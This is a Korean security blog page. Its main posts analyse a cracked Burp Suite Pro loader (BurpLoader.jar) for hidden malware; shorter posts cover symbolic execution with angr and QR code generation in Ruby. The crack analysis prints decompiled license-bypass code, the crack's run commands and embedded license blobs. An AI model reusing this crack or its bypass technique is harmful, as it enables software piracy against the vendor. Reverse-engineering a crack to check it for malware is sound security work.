6/20/2017

[HACKING] Analyzing BurpLoader.jar in Burp Suite Pro Crack(Larry Lau version) Part2

지난번 포스팅에 이이서 BurpLoader.jar에 대한 분석 내용으로 이어갑니다. 

Analysis BurpLoader.jar Part 1


Analysis BurpLoader.jar Part 2


Analysis BurpLoader.jar Part 3




Decrypt with JMD Deobfuscator

일단 zkm을 풀기위해 JMD를 이용했습니다. JMD는 여러가지 Java 관련 난독화를 풀어주는 툴이죠.
(https://github.com/contra/JMD)

#> JMD BurpLoader.jar zkm true
Java Multi-Purpose Deobfuscator
Please Visit RECoders.org for updates and info
Version 1.6
Created by Contra. Please read LICENSE.txt
Tons of code from skoalman, super_, ollie, popcorn89, the prophecy, and saevion
[ZKMTransformer][DEBUG]Classes loaded from JAR
[ZKMTransformer]ZKM Deobfuscator
[ZKMTransformer]Starting Unconditional Branch Remover...
[ZKMTransformer]Starting Exit Flow Corrector...
[ZKMTransformer][DEBUG]corrected exit flow in larry.lau.BurpLoader.<clinit>()V
[ZKMTransformer][DEBUG]corrected exit flow in larry.lau.BurpLoader.<init>()V
[ZKMTransformer][DEBUG]corrected exit flow in larry.lau.BurpLoader.main([Ljava/lang/String;)V
[ZKMTransformer][DEBUG]Corrected exit flow 3 times in larry.lau.BurpLoader
[ZKMTransformer]Starting Opaque Predicate Remover...
[ZKMTransformer][ERROR]Couldn't Locate Control Field!
[ZKMTransformer]Starting String Encryption Removal...
[ZKMTransformer]Starting ZKM String Grabber...
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> LNimbus
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> md5
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> burp.
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> larry.lau.javax.swing.plaf.nimbus.NimbusLookAndFeel
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> /burp
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> burpsuite_pro_v1.7.17.jar was corrupted!
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> main
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> BurpLoader by larry_lau
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> 1af427b18de46c38410b46fb5a3f8080
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> burp.StartBurp
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> This program can only run with burpsuite_pro_v1.7.17.jar
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> %02x
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> 767ab87ac4ef4c5cf4d5206909511d13acf0ead3d62e9d5f968d8c6e992.....

JMD로 확인 시 어느정도 풀려서 보이네요. zkm


Analysis string


[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> LNimbus
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> larry.lau.javax.swing.plaf.nimbus.NimbusLookAndFeel

[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> 1af427b18de46c38410b46fb5a3f8080
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> burp.StartBurp
먼저 LNimbus와 아래 larry.lau.javax.swing.plaf.nimbus.NimbusLookAndFeel는 JAVA Swing의 Look&Feel을 의미하는 것 같습니다.
Look&Feel은 JAVA Swing의 GUI 중 하나이고, 아마 BurpLoader.jar 즉 Burp Suite Pro 실행 전 디자인을 동일하게 가져가려는 생각으로 적용한 부분인 것 같네요.
(https://docs.oracle.com/javase/8/docs/technotes/guides/swing/nimbus_laf.html)

그 아래 hash는 뭔지 궁금한 부분이고... 이어서 burp.StartBurp로 Burp suite를 실행하는 것 같습니다.

아! hash에 대한 추측이 있었는데, 작성중에 찾았습니다. hash 발생 부분이 burp.StartBurp이였고, DirtyJOE로 봤을 때 아래와 같은 순서로 호출이 존재합니다.


밑에 burpsuite_pro_v1.7.17.jar was corrupted!는 실행 경로에 burp가 없거나 잘못된 jar 파일이 호출되었을 때 발생하는 메시지입니다. 아마도.. md5 hash를 통해
정상적인 burp인지 비교하고 실행하는 것으로 보이고 예상대로 1af42~~ 값은 pro 버전의 hash였습니다.

#> md5sum burpsuite_pro_v1.7.17.jar
1af427b18de46c38410b46fb5a3f8080  burpsuite_pro_v1.7.17.jar

이제 윗줄은 맘편히 건너띌 수 있겠네요. 다시 이어서...

엄청난 길이의 바이너리 데이터를 만났습니다. 아마 ldc의 존재이겠지요. 풀 엄두가 나질 않는군요.
(다만 이전에 Runtime Analysis 내용과 약간 이어서 생각해보면.. 레지스트리 값에 쓰인 여러가지 Extender Data와 관련있을 수 있겠네요)

넘어가고 아래부분을 보면 license1 이라는 문자와 Bash64로 인코딩된 값을 만날 수 있습니다. 형태를 보아 토큰같이 큰 길이의 암호화값을 Bash64로 바꾼 것 같고, 이는 웹에서 토큰 사용시 많이 쓰는 부분이라.. 한가지 생각이 들었습니다.

[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> license1
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> Haq5Ce+UbnSxL5wePtogCg==
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> KN3pXQj7IgB4oph/ti7SdybjoUB9IWHt0BGBVS1kycSvYAn2zh0uJq9gCfbOHS4mrpBSDMCrw+Aw6t2wCDaKXPL9/xlWZPZnlnj81ae76L6rYIW/23B+vIAMzTM6+SsBJTep+u797+Cg/yaUeEryGxpkbasDpH5d70FrMkQZoMslDr6l+eYulgBhofjcyNJ5vqPj5bNfba0odRAdtHCLW9rtRNWAx/6Te8l9+NUHxBaSV6wFtSwGCNSEmnlqBGfuVN65ZJyM7zq3dKuCUC48F2IcCewpKi2E5we8a9+PCeGY1Rs3XHSbEpqt50Grbw2bAkZAxxkjlSDyXSbhQkcnDQ==
[ZKMTransformer][DEBUG]larry.lau.BurpLoader -> 6Oxo0eZXXJNgBSjf5x9U7DC4g2qx0boj8IwmY/rlifScDnW+3zrEAJk23UYYdxEpQ6Oh05x8QeIjEZys6bvlyLN70lJi5wqkoXe+BtrTnpT5ZiDEaQCi52lPmP85uk2X+XVkwLdf+sC6W/2IbrpN8JCFUt00EDq7a8Y0++7KDV26+DO1llwjoBiX6nXAtwIJo/c1qOVEHEed37oxlw70u+uUIOf9X5aScbgIx2EmGBFH6HzjsGEim1PrJNzSO1Lu2q7aIlX75p4EX32tqRvc6qm5v1L835h29xdVfk88EB7uX7FsneuOiu/y7t4cmlBCIHK6T1R3+6i6HpcYOzlbG/E2o38ymfaqLP1ntQ+a+HGz4ia+F77zdE46gjcGhE4iKj7TI2c+6IC8S/xnvRbtHA==
바로 정기적으로 통신하던 서버와 license 관련하여 주고받는 데이터가 아닐까? 라는 생각이였지요. 지난번 분석에서 봤던 요청은 기존 Burp에서도 나가던 요청이기 때문에 Larry의 개인서버로 거짓 인증하는 것이 아닌 실제 서버와 통신으로 인증하는 것 같고, 이는 https(ssl) 통신이기 때문에 바이너리 값을 웹에서 사용 가능한 형태로 인코딩한 것으로 생각됩니다. 물론 엄청난 길이를 고려했을 땐 base64가 적합했겠죠. (그냥 url encode 시 엄청난 길이..)

Final

Part 1 보단 조금 더 상세한 정리가 가능할 것 같습니다.

1. 어떤 취약점을 사용했는지?
 A: 개인적인 경험 상 인증 요청에 대한 위조를 통해 bypass 하는 것으로 추측됩니다. 확실하진 않지만, 현재까지 분석 내용을 봤을땐 이쪽이 가장 가깝네요.

2. 프록시에 쌓인 데이터, 또는 취약점 데이터를 다른 서버로 전송하지 않는지?
 A: 실행 및 동작중에 원격지와 통신하는 기록이 있긴합니다. 다만 portswigger 소유의 사이트로 보이고 일반적인 burp도 동일하게 동작하기 때문에
  라이센스나 업데이트 관련해서 주기적으로 체크하는 로직이 아닐까 합니다.

3. Exploit 코드로 추가적인 프로그램이나 명령행을 다운로드 하는지?
 A: 풀지못한 ldc값이 가장 문제이긴합니다. 다만 Extender 정보의 데이터 양을 고려했을 때 여러가지 플랫폼에 대한 Exploit을 집어넣기는 어려울 것 같습니다.
 뭔가 추가적으로 데이터를 가져오는 부분도 없구요.

ldc값에 대해 풀지못한게 너무 아쉽습니다. 이 부분에 정말 핵심적인 데이터가 있다고 믿지만, 아직은 어떻게 풀어나가야할지 막막하네요. 혹시라도 좋은 아이디어가 있으시다면 공유 부탁드려요.

Refernece

https://docs.oracle.com/javase/8/docs/technotes/guides/swing/nimbus_laf.html
https://github.com/contra/JMD
Share: | Coffee Me:

6/19/2017

[HACKING] Analyzing BurpLoader.jar in Burp Suite Pro Crack(Larry Lau version) Part1

웹 해킹, 취약점 진단 시 어떤 툴을 많이 사용하시나요? 저는 단언컨데, Burp를 가장 최고의 툴로 선정할 수 있을 것 같네요.
Burp suite는 free 버전과 pro 버전으로 나뉘어져 있고 둘의 차이는 굉장히 큽니다.

burp 1.5? 1.6? ... 음 1.5 버전같네요. 아무튼 Larry Lau가 매번 버전마다 BurpLoader.jar를 만들어 배포하고 있습니다.
이 BurpLoader.jar는 말그대로.. 크랙 파일인데요 어떤 방식으로 Burp Pro를 로드했는지, BurpLoader.jar에 악성코드나 Exploit 코드는 없는지 궁금증에 분석을 시작했었습니다.

물론 만족할만한 결과를 얻지는 못했네요. (저와 같은 생각을 했던 분들을 보며 좀 더 배우는 시간이 되었지요)



Analysis BurpLoader.jar Part 1


Analysis BurpLoader.jar Part 2


Analysis BurpLoader.jar Part 3

  Analysis point


일단 가장 분석의 목적이 어떻게 Pro를 로드했는지, BurpLoader.jar 파일에 악의적인 코드는 없는지 확인하는 것 입니다.
첫번째 목적은 취약점 분석과 비슷한 형태로 접근하려하고 두번째는 악성코드 분석 느낌으로 접근하려 합니다.

일단 취약점은.. 천천히 봐야하니 악성코드부터 생각해보았습니다. 어떤 포인트들이 있을건지

1. 백도어 여부?
2. 프록시에 쌓인 데이터, 또는 취약점 데이터를 다른 서버로 전송하지 않는지?
3. Exploit 코드로 추가적인 프로그램이나 명령행을 다운로드 하는지?


저는 jd-gui를 자주 사용합니다. 안드로이드 악성코드 분석에서도 많이 사용했었기 때문에 편리해서 그런 것 같네요.  거기에 Eclipse와 JAD 조합도 사용하죠.

일단 바로 jar 파일을 jd-gui로 보겠습니다.



음 ... ldc 부분에 난독화로 인해 ERROR가 발생하고, 우리가 확인할 수 있는 코드는 매우 한정적이네요(없어요 거의)

그래서 필요한게 Procyon-decompiler입니다. jd-gui와는 다르게 난독화를 풀어서 볼 수 있어서 분석에 조금 더 용이하지요.
물론 Eclipse에서 jad 로드 후 jad로 디컴파일해서 보시는 것도 좋은 방법이죠. (그냥 jad로 푸셔도 되긴하느넫... 뒷감당은 알아서)

procyon 다운로드 링크
https://bitbucket.org/mstrobel/procyon/downloads/

-jar 옵션을 주어서 BurpLoader.jar를 풀어줍니다.
# procyon -jar BurpLoader.jar

procyon으로 풀었지만.. 아직 ldc 부분에 난독화된 Bytecode가 들어있습니다. 저와 같은 생각을 한 다른 분들의 글을 보면 ConstantValue Code! 부분에서 ZKM8.0.1E 알고리즘으로
난독화 된다는 걸 알았다고 하는데.. 전 상위버전인 1.7이라 그런가 도저히 못찾겠네요.

 h r  err  Ljava/io/PrintStream;
                                 t u    � v  java/io/PrintStream x println
                                                                           z 0
ConstantValue  Code!       }        } 
                                      
아무튼 그럼 저부분이라도 빼고 봐야겠지요.

Code Analysis

일단 프로키온으로 푼 데이터를 보면 초기에 jd-gui 보단 훨씬 많은 코드가 남아있습니다.

------------------

// 
// Decompiled by Procyon v0.5.30
// 

package larry.lau;

import java.lang.reflect.Field;
import java.io.InputStream;
import java.security.CodeSource;
import java.awt.HeadlessException;
import java.awt.GraphicsEnvironment;
import java.util.prefs.Preferences;
import java.awt.Component;
import javax.swing.JOptionPane;
import java.security.MessageDigest;
import javax.swing.UIManager;

public class BurpLoader
{
    public static final String readme0 = "Burp Suite is an integrated platform for performing security testing of web applications. ";
    public static final String readme1 = "If you like it, please try Free edition or <b>buy</b> Pro edition.";
    public static final String readme2 = "This loader is Free and CAN NOT be used for Commercial purposes!";
    public static final String readme3 = "If you bought it somewhere else, you should take action against the seller.";
    public static final String readme4 = "No exploiting and no malware in my code. Shaby is boring!";
    public static final String readme5 = "Usage:";
    public static final String readme6 = "1. you need a burpsuite_pro jar file.";
    public static final String readme7 = "2. add burpsuite_pro jar into classpath then run burploader";
    public static final String readme8 = "<ul><li>java -jar BurpLoader.jar</li>";
    public static final String readme9 = "<li>java -cp BurpLoader.jar;burpsuite_pro.jar larry.lau.BurpLoader</li>";
    public static final String readme10 = "<li>java -cp BurpLoader.jar:burpsuite_pro.jar larry.lau.BurpLoader</li></ul>";
    public static final String readme11 = "3. To Support headless mode, add -Djava.awt.headless=true into jvm arguments.";
    public static final String readme12 = "4. Any suggestions, let me know.";
    private static final String[] a;
    private static final String[] b;
    private static final String[] c;
    private static final String[] d;
    private static final String[] e;
    public static boolean f;
    public static boolean g;
    private static final String[] z;
    
    static {
        // 
        // This method could not be decompiled.
        // 
        // Original Bytecode:
        // 
        //     0: bipush          12
        //     2: anewarray       Ljava/lang/String;
        //     5: dup            
        //     6: iconst_0       
        //     7: ldc             "]\u001fAp\"d\""
        //     9: jsr             216
        //    12: aastore        
        //    13: dup            
        //    14: iconst_1       
        //    15: ldc             "|5\u001d"
        //    17: jsr             216
        //    20: aastore        
        //    21: dup            
        //    22: iconst_2       
        //    23: ldc             "s$Zmn"
......          // 결국 풀지못한 ldc의 존재
        // 
        // java.lang.IllegalStateException: Expression is linked from several locations: Label_1611:
        //     at com.strobel.decompiler.ast.Error.expressionLinkedFromMultipleLocations(Error.java:27)
        //     at com.strobel.decompiler.ast.AstOptimizer.mergeDisparateObjectInitializations(AstOptimizer.java:2592)
        //     at com.strobel.decompiler.ast.AstOptimizer.optimize(AstOptimizer.java:235)
        //     at com.strobel.decompiler.ast.AstOptimizer.optimize(AstOptimizer.java:42)
        //     at com.strobel.decompiler.languages.java.ast.AstMethodBodyBuilder.createMethodBody(AstMethodBodyBuilder.java:214)
        //     at com.strobel.decompiler.languages.java.ast.AstMethodBodyBuilder.createMethodBody(AstMethodBodyBuilder.java:99)
        //     at com.strobel.decompiler.languages.java.ast.AstBuilder.createMethodBody(AstBuilder.java:757)
        //     at com.strobel.decompiler.languages.java.ast.AstBuilder.createMethod(AstBuilder.java:655)
        //     at com.strobel.decompiler.languages.java.ast.AstBuilder.addTypeMembers(AstBuilder.java:532)
        //     at com.strobel.decompiler.languages.java.ast.AstBuilder.createTypeCore(AstBuilder.java:499)
        //     at com.strobel.decompiler.languages.java.ast.AstBuilder.createTypeNoCache(AstBuilder.java:141)
        //     at com.strobel.decompiler.languages.java.ast.AstBuilder.createType(AstBuilder.java:130)
        //     at com.strobel.decompiler.languages.java.ast.AstBuilder.addType(AstBuilder.java:105)
        //     at com.strobel.decompiler.languages.java.JavaLanguage.buildAst(JavaLanguage.java:71)
        //     at com.strobel.decompiler.languages.java.JavaLanguage.decompileType(JavaLanguage.java:59)
        //     at com.strobel.decompiler.DecompilerDriver.decompileType(DecompilerDriver.java:317)
        //     at com.strobel.decompiler.DecompilerDriver.decompileJar(DecompilerDriver.java:238)
        //     at com.strobel.decompiler.DecompilerDriver.main(DecompilerDriver.java:138)
        // 
        throw new IllegalStateException("An error occurred while decompiling this method.");
    }
    
    public static void main(final String[] array) {
        final boolean g = BurpLoader.g;
        try {
            try {
                final String s = BurpLoader.z[3];
                Class.forName(s);
                UIManager.installLookAndFeel(BurpLoader.z[0], s);
            }
            catch (ClassNotFoundException ex9) {}
            final Class<?> forName = Class.forName(BurpLoader.z[9]);
            try {
                final CodeSource codeSource = forName.getProtectionDomain().getCodeSource();
                final MessageDigest instance = MessageDigest.getInstance(BurpLoader.z[1]);
                final InputStream openStream = codeSource.getLocation().openStream();
                final byte[] array2 = new byte[1024];
                int read = 0;
                MessageDigest messageDigest = null;
                while (true) {
                    Label_0108: {
                        boolean f = false;
                        Label_0096: {
                            Label_0090: {
                                try {
                                    if (!g) {
                                        break Label_0108;
                                    }
                                    final boolean b = BurpLoader.f;
                                    if (b) {
                                        break Label_0090;
                                    }
                                    break Label_0090;
                                }
                                catch (ClassNotFoundException ex) {
                                    throw ex;
                                }
                                try {
                                    final boolean b = BurpLoader.f;
                                    if (b) {
                                        f = false;
                                        break Label_0096;
                                    }
                                }
                                catch (ClassNotFoundException ex2) {
                                    throw ex2;
                                }
                            }
                            f = true;
                        }
                        BurpLoader.f = f;
                        messageDigest.update(array2, 0, read);
                    }
                    if ((read = openStream.read(array2)) > 0) {
                        continue;
                    }
                    openStream.close();
                    messageDigest = instance; // 아까 받아온 BurpLoader의 MD
                    if (g) {
                        continue;
                    }
                    break;
                }
                StringBuffer sb = null;
            Label_0192_Outer:
                while (true) {
                    final byte[] digest = messageDigest.digest();
                    sb = new StringBuffer();
                    int n = 0;
                    while (true) {
                        while (true) {
                            Label_0195: {
                                try {
                                    if (!g) {
                                        break Label_0195;
                                    }
                                    sb.append(String.format(BurpLoader.z[11], digest[n] & 0xFF));
                                }
                                catch (ClassNotFoundException ex3) {
                                    throw ex3;
                                }
                                ++n;
                            }
                            if (n < digest.length) {
                                continue Label_0192_Outer;
                            }
                            break;
                        }
                        if (!g) {
                            break;
                        }
                        continue;
                    }
                }
                int equals = 0;
                Label_0259: {
                    Label_0234: {
                        int n2;
                        try {
                            n2 = (equals = (BurpLoader.z[8].equals(sb.toString()) ? 1 : 0));
                            if (g) {
                                break Label_0259;
                            }
                            if (n2 == 0) {
                                break Label_0234;
                            }
                            break Label_0234;
                        }
                        catch (ClassNotFoundException ex4) {
                            throw ex4;
                        }
                        try {
                            if (n2 == 0) {
                                JOptionPane.showMessageDialog(null, BurpLoader.z[5], BurpLoader.z[7], 0);
                                System.exit(-1);
                            }
                        }
                        catch (ClassNotFoundException ex5) {
                            throw ex5;
                        }
                    }
                    equals = 0;
                }
                int n3 = equals;
                while (true) {
                    Label_0329: {
                        if (!g) {
                            break Label_0329;
                        }
                        final Field declaredField = Class.forName(BurpLoader.z[2] + BurpLoader.b[n3]).getDeclaredField(BurpLoader.c[n3]);
                        declaredField.setAccessible(true);
                        declaredField.set(null, BurpLoader.a[n3]);
                        ++n3;
                    }
                    if (n3 < BurpLoader.b.length) {
                        continue;
                    }
                    break;
                }
                Preferences preferences = null;
            Label_0365_Outer:
                while (true) {
                    final Preferences node = Preferences.userRoot().node(BurpLoader.z[4]);
                          // 각 OS별 설정값 로드
                    int n4 = 0;
                    while (true) {
                        while (true) {
                            Label_0411: {
                                try {
                                    if (!g) {
                                        break Label_0411;
                                    }
                                }
                                catch (ClassNotFoundException ex6) {
                                    throw ex6;
                                }
                                if (!BurpLoader.e[n4].equals(preferences.get(BurpLoader.d[n4], null))) {
                                    node.put(BurpLoader.d[n4], BurpLoader.e[n4]);
                                }
                                ++n4;
                            }
                            if (n4 < BurpLoader.d.length) {
                                continue Label_0365_Outer;
                            }
                            break;
                        }
                        preferences = node;
                        if (!g) {
                            break;
                        }
                        continue;
                    }
                }
                preferences.flush();
                    //
                    // BurpLoader.z[6] > burp 메인부분
                forName.getDeclaredMethod(BurpLoader.z[6], String[].class).invoke(null, array);
            }
            catch (Throwable t) {
                t.printStackTrace();
                int headless = GraphicsEnvironment.isHeadless() ? 1 : 0;
                Label_0518: {
                    int n5 = 0;
                    Label_0517: {
                        try {
                            n5 = headless;
                            if (g) {
                                break Label_0518;
                            }
                            if (n5 != 0) {
                                break Label_0517;
                            }
                        }
                        catch (ClassNotFoundException ex7) {
                            throw ex7;
                        }
                        try {
                            GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice();
                        }
                        catch (HeadlessException ex10) {
                            headless = 1;
                        }
                        catch (InternalError internalError) {
                            headless = 1;
                        }
                    }
                    try {
                        if (n5 != 0) {
                            System.err.println(BurpLoader.z[10]);
                            if (!g) {
                                return;
                            }
                        }
                    }
                    catch (ClassNotFoundException ex8) {
                        throw ex8;
                    }
                }
                JOptionPane.showMessageDialog(null, BurpLoader.z[10], BurpLoader.z[7], 0);
            }
        }
        catch (ClassNotFoundException ex11) {
            JOptionPane.showMessageDialog(null, BurpLoader.z[5], BurpLoader.z[7], 0);
            System.exit(-1);
        }
    }
} 


Runtime Analysis

코드분석은 여기까지하고 실행 과정에서 어떤 것들이 있나 하나하나 까보기 시작했습니다.
먼저.. Process Explorer로 실행 후 액션을 보겠습니다.

스냅샷에선 일단 별다른건 없었고 레지스트리 내 키 값만 조금 추가되었습니다. 그리고.. IPv6 관련해서 하나 세팅된 게 있구요.


음 흐름 상 어떤것들이 있었나 보니.. 프로그램 실행 후 특정 IP와 데이터 통신이 있습니다. 주기적으로 게속 통신하는데, 어떤걸 의미하는지 찾아봐야겠지요.
WireShark로 패킷덤프를 떠봅니다.


https://ec2-54-246-133-196.eu-west-1.compute.amazonaws.com 쪽으로 연결됩니다.  해당 페이지로 직접 접근하면 PostSwigger로 Redirection 되는데,
이게 Larry껀지 Burp껀지 확인이 필요했습니다. 먼저 해당 도메인은 PostSwigger 쪽 인증서 사용합니다. 그래서 저는 2가지 정도의 추측을 했습니다.

추측1: 원래 PostSwigger꺼
추측2: 인증과정 우회를 위해 임시 서버 사용(키탈취)


일단 whois 결과에선 별다른게 없었기 때문에 원래 burp에서 발생하는 요청과 비교하여 찾아보려했습니다. 그 결과..



동일하게 요청이 나가고 원래 Burp에서 발생하는 요청으로 볼 수 있죠. 이 친구 역할이 인증 정보에 대해 갱신하는 내용이라면 재미있는 장난을 해볼 수 있겠네요.

일단 현재까지는 BurpLoader.jar에서 Malware나 Exploit의 흔적은 발견할 수 없었습니다. 다만 난독화로 풀지 못한 ldc 값의 내용이 관건이 될 것 같네요.

Final

어떤 취약점을 사용했는지?
 A: 정확하게 판단되지는 않으나 라이선스 키를 로드하고 서버와 체크하는 과정에서 포인트가 있는 것 같습니다. 알려주진 않겠지만 Larry가 제일 잘 아는 내용이겠죠.

1. 백도어 여부?

 A: 정확하진 않지만 BurpLoader 내 코드를 봐선 발생하기 어려운 부분입니다. 또한 동적 테스팅에서도 별다른 징후가 없었고 만약 있었다고 하면
  다른분들이 쉽게 찾아내지 않았을까 합니다. 단정짓기는 어려우나 현재까지 분석 내용으로는 보이진 않았습니다. (안전하다는건 아니죠)

2. 프록시에 쌓인 데이터, 또는 취약점 데이터를 다른 서버로 전송하지 않는지?
 A: 실행 및 동작중에 원격지와 통신하는 기록이 있긴합니다. 다만 portswigger 소유의 사이트로 보이고 일반적인 burp도 동일하게 동작하기 때문에
  라이센스나 업데이트 관련해서 주기적으로 체크하는 로직이 아닐까 합니다.

3. Exploit 코드로 추가적인 프로그램이나 명령행을 다운로드 하는지?
 A: 사실 제일 걱정된 부분입니다. 이런 내용은 짧은 코드로도 영향력이 나타날 수 있기 때문에 위험성도 높은데가가 코드 내 ldc 부분을 풀지 못한게 가장 컸던 것 같네요.
  일단 ldc에는 실제 공격에 사용된 데이터(Burp쪽 취약점)이 담겨있을 것 같지만 한 두 줄 더 차이난다고 눈에 쉽게 드러나지는 않으니 확신할 수 없는 부분입니다.

Part2에서 조금 더 들여다보았습니다. 참고해주시길!
http://www.hahwul.com/2017/06/hacking-analyzing-burploaderjar-in-burp_20.html

Reference

http://0xd0m7.blogspot.com/2016/04/analizing-burploaderjar-larry-lau.html
https://www.blackh4t.org/archives/1793.html
Share: | Coffee Me:

[HACKING] Symbolic Execution(symbolic evaluation)을 이용한 취약점 분석


이번 포스팅은 Symbolic Execution 정리차원으로 글 작성해봅니다. Symbolic Execution은 포통 취약점 분석에 많이 사용되는 방법 중 하나이머, 이 기법으로 굉장히 많은
노가다가 단축되어 간단한 분석에서 엄청난 효율을 자랑합니다.


Concrete Execution과 Symbolic Execution

일단 Symbolic Execution에 대해 알아보도록 하죠. 기법이기 전에 개념적으로 접근하는게 좋습니다. 이름 그대로 심볼을 이용한 실행이며 Concrete Execution과 대비되는 의미를 가지고 있습니다.
아래 2가지 코드를 비교해보겠습니다.

void concrete(int a)
{
 if(1)
 {
    return a;
 }
 else
 {
    return 0;
 }
}

void symbolic(int a)
{
 if(a > 0)
  {
    return 1;
  }
 else
  {
    return 0;
  } 
}
둘 다 분기문의 성격을 띄지만 Symbolic 함수는 인자값에 따라 분기가 틀어집니다. 이런 경우를 Symbolic Execution이라고 이야기합니다.
그래서 한쪽으로 방향이 틀어지는게 아닌 양쪽 모두 다 분기의 가능성이 있는 것이죠.

Vulnerability Symbolic Execution

취약점 분석에서도 이 개념을 사용합니다. 일단 대부분의 프로그램의 내부에는 분기문이 존재할 수 밖에 없습니다. (진리의 if)
이 분기문을 통해 입력에 따른 다른 출력을 보여줄 수 있지요. Symbolic Execution, 즉 반복적인 시뮬레이션을 통해 여러개의 분기를 타면서 프로그램의 흐름을 분석합니다.

이 흐름들에는 분명히 중요한 정보를 담고 있거나 아직 발견되는 않은 취약점이 있는 길로 넘어갈 수 있는 정보들을 가지고 있지요.

여기서 여러 분기로 넘어갈 수 있는 조건식을 Path Condition이라고 부릅니다. 위에 symbolic() 함수 코드를 예시로 든다면 a로 분기를 태울 수 있는 값들의 집합이되겠죠.
아마도 1 이상의 값들과 나머지 값, 이렇게 2가지로 나타낼 수 있겠죠.

물론 사람이 분석할때에도 Symbolic Execution 으로 분석하게 됩니다. 왜냐하면.. 우리도 안가본 미지의 영역이 궁금하고 거기서 얻어낼 수 있는게 많기 때문이죠.
이 과정은 매우 노가다이며 많은 테스팅이 필요합니다. 이를 소프트웨어로 극복하는거죠. 사실 이 개념은 해킹뿐만 아니라 소프트웨어 테스팅, 과학 등 여러가지 분야에 사용됩니다.

SMT Solver

Symbolic Execution을 쉽게 하기 위해선 자동화된 툴이 필요합니다. 많은 테스트를 하기 위해선 Path condition을 만들어주는 프로그램이 필요하죠.
이 Path Condition을 만들어주는 툴을 우리는 SMT Solver라고 부릅니다. 대표적으로 z3, yices 등 여러가지가 있습니다.

SMT Solver는 원래 연립식을 풀기 위한 프로그램입니다. z3로 대충 내용을 보면..

import z3
x = Int('x')
y = Int('y')
solve(x*y>50,x>5)
이런식으로 값을 주면.. 결과가 나타납니다. y의 값을 바로 찾을 수 있지요.

이 개념을 취약점 분석에도 적용할 수 있습니다.  물론 선구자들이 미리 만들어놓은 툴을 사용하는 것도 좋고 직접 구현해보시는 것도 좋을 것 같습니다.

angr python library

angr은 shellphish 팀에서 개발한 symbolic execution 툴입니다. 이 프로그램은 바이너리 파일에서 분석가가 입력한 특정 지짐을 찾은 후 마지막에 사용된 함수와 그 데이터를 보여줍니다.
(http://angr.io/)


#> pip install angr

or

#> git clone https://github.com/angr/angr.git
#> cd angr
#> python setup.py install 


#include <stdio.h>

void main(int argc, char* argv[])
{

    if(argv == 1)
    {

        printf("Error");
        exit(1);
    }
    if(argv[1] == 5564)
    {
        printf("yes");
    }
    else
    {
        printf("no");
    }
}

#> gcc -o test test.c
test.c: In function ‘main’:
test.c:6:10: warning: comparison between pointer and integer
  if(argv == 1)
          ^~
test.c:10:3: warning: implicit declaration of function ‘exit’ [-Wimplicit-function-declaration]
   exit(1);
   ^~~~
test.c:10:3: warning: incompatible implicit declaration of built-in function ‘exit’
test.c:10:3: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
test.c:12:13: warning: comparison between pointer and integer
  if(argv[1] == 5564)
             ^~


#> ./test 1
no


import angr

proj = angr.Project('./test', load_options={'auto_load_libs':False}) # load binary
path_group = proj.factory.path_group(threads=4) # set thread and path
path_group.explore(find=0x40054, avoid=0x40065) # find & avoid
                                                                                                    # 여기서 find 값은 찾을 값 / avoid는 피할 값이겠죠.
print path_group.found[0].state.posix.dumps(1) # print dump


추가로.. PC 여러대에서 테스트하다 보니 동작안하던 이슈가 있었습니다.

ImportError: cannot import name operations

python 관련 프로그램들이 많다보니.. 약간 의존성 문제가 있는 것 같았습니다.
angr 개발팀에 물어보니.. 아래와 같이 답을주어서



virtualenv로 쉽게 해결되었습니다. 추후에 virtualenv도 한번 포스팅하면 좋을 것 같네요.

#> pip install virtualenv
#> angr/v_env/bin/python setup.py install

해당 virtualenv 경로의 python으로 실행 시 잘 실행됩니다.

Symbolic Execution

이 방법은 대표적으로 binary 분석에서 이야기됩니다. 다만 웹에서도 어느정도 적용할 수 있겠다는 생각이 드네요.
프로그램을 통해 DOM 영역과 JS 코드단에선 분명히 분기를 이용해서 넘나들 수 있고 그렇단 소리는.. 이런 분석 방식을 통해서 자동화된 테스트를 해볼 수 있단 것이 매력적으로 다가오네요.

Reference

https://en.wikipedia.org/wiki/Symbolic_execution
http://ericpony.github.io/z3py-tutorial/guide-examples.htm
http://secuinside.com/archive/2016/2016-2-6.pdf
Share: | Coffee Me:

[RUBY] RQRCode를 이용한 QR코드 생성하기

메모할겸 RQRCode에 대해 작성할까 합니다. RQRCode는 Ruby에서 QR코드를 다룰 수 있는 라이브러리입니다.  간단한 코드로
쉽게 QR코드 생성이 가능하기 떄문에 QR코드 관련 서비스나 Rails 내 QR 코드 사용 등 여러가지 방면으로 활용할 수 있겠네요.

먼저 gem을 통해 설치합니다.

#> gem install rqrcode

(gem이나 pip는 진짜 편한 것 같네요)

RQRCode::QRCode class로 객체를 하나 생성하고, 해당 객체를 원하는 타입(이미지, svg 등등)으로 변환하여 사용할 수 있습니다.


require 'rqrcode'
qrcode = RQRCode::QRCode.new("http://www.hahwul.com/") # RQRCode::QRCode class로 객체를 하나 생성합니다.
png = qrcode.as_png(
          resize_gte_to: false,
          resize_exactly_to: false,
          fill: 'white',    # 배경색
          color: 'black',   # 전경색
          size: 644,        # 크기
          border_modules: 4,
          module_px_size: 6,
          file: nil # path to write
          )
IO.write("/tmp/github-qrcode.png", png.to_s)  # IO.write로 파일을 생성해줍니다.
RQRCode::QRCode는 as_[type] 메소드를 통해서 형 변환을 할 수 있습니다.

image = qrcode.as_png
